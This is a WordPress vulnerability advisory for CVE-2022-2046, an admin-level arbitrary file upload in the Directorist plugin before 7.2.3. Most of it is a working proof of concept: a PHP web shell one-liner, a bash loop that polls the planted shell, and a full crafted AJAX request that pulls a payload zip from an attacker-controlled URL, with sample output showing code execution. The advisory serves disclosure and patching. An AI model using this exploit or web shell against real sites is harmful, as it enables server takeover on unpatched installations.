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WordPress Plugin Vulnerabilities

Directorist - Business Directory Plugin < 7.2.3 - Admin+ Arbitrary File Upload

Description

The plugin allows administrators to download other plugins from the same vendor directly to the site, but does not check the URL domain it gets the zip files from. This could allow administrators to run code on the server, which is a problem in multisite configurations.

Proof of Concept

1. Craft a custom zip file
-------bash
echo "<?php echo shell_exec($_REQUEST['c']); ?>" > dummy_shell.php

for i in `seq 1 10000`; do 
    echo $RANDOM | md5sum | head -c 30 > "dummy_$i.txt"
done

zip -qqr "payload.zip" dummy_*
-------bash

2. Create a bash script that will try to hit the shell on a while loop
-------bash
#!/bin/sh

while true; do
    code=$(curl -s -w "%{http_code}" -o result "http://<wp_site>/wp-content/plugins/atbdp-temp-dir/dummy_shell.php?c=id")
    if [ $code -eq 200 ]; then
	echo ""
	echo "RCE sucess"
        cat result
        break
    fi
    echo -n "."
done
-------bash

3. Execute the bash script on step 2 

4. Login as WP admin and send this crafted HTTP request
-------httprequest
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 750
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary221I9lesLluZJPEm
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/wp-admin/edit.php?post_type=at_biz_dir&page=tools&step=2&file=%2Fsrv%2Fwww%2Fwordpress%2Fwp-content%2Fuploads%2F2022%2F05%2Flistings-export-data.txt&delimiter=%2C
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [Replace with Admin+ cookie]
Connection: close

------WebKitFormBoundary221I9lesLluZJPEm
Content-Disposition: form-data; name="action"

atbdp_download_file
------WebKitFormBoundary221I9lesLluZJPEm
Content-Disposition: form-data; name="download_item[download_link]"

https://<attacker_site>/payload.zip
------WebKitFormBoundary221I9lesLluZJPEm
Content-Disposition: form-data; name="download_item[skip_licencing]"

true
------WebKitFormBoundary221I9lesLluZJPEm
Content-Disposition: form-data; name="download_item[permalink]"

true
------WebKitFormBoundary221I9lesLluZJPEm
Content-Disposition: form-data; name="nonce"

< as admin, go to http://<wp_domain>/wp-admin/edit.php?post_type=at_biz_dir and search string 'atbdp_admin_data = {"nonce":' and get the nonce value after the searched string>
------WebKitFormBoundary221I9lesLluZJPEm
Content-Disposition: form-data; name="type"

plugin
------WebKitFormBoundary221I9lesLluZJPEm--

-------httprequest

5. We will see the output from the bash script that we executed earlier will output the "id" command result from the targeted WP site . Example :
..................................................................
RCE sucess
uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Affects Plugins

directorist
Fixed in version 7.2.3

References

CVE
CVE-2022-2046
URL
https://plugins.trac.wordpress.org/changeset/2752034/directorist?contextall=1&old=2731298&old_path=%2Fdirectorist

Classification

Type

UPLOAD

CWE
CWE-434

Miscellaneous

Original Researcher

Rafie Muhammad

Submitter

Rafie Muhammad (Yeraisci)

Submitter website
https://rafiem.github.io/
Submitter twitter
yeraisci_
Verified

Yes

WPVDB ID
03a04eab-be47-4195-af77-0df2a32eb807

Timeline

Publicly Published

2022-07-18 (about 6 months ago)

Added

2022-07-18 (about 6 months ago)

Last Updated

2022-07-18 (about 6 months ago)

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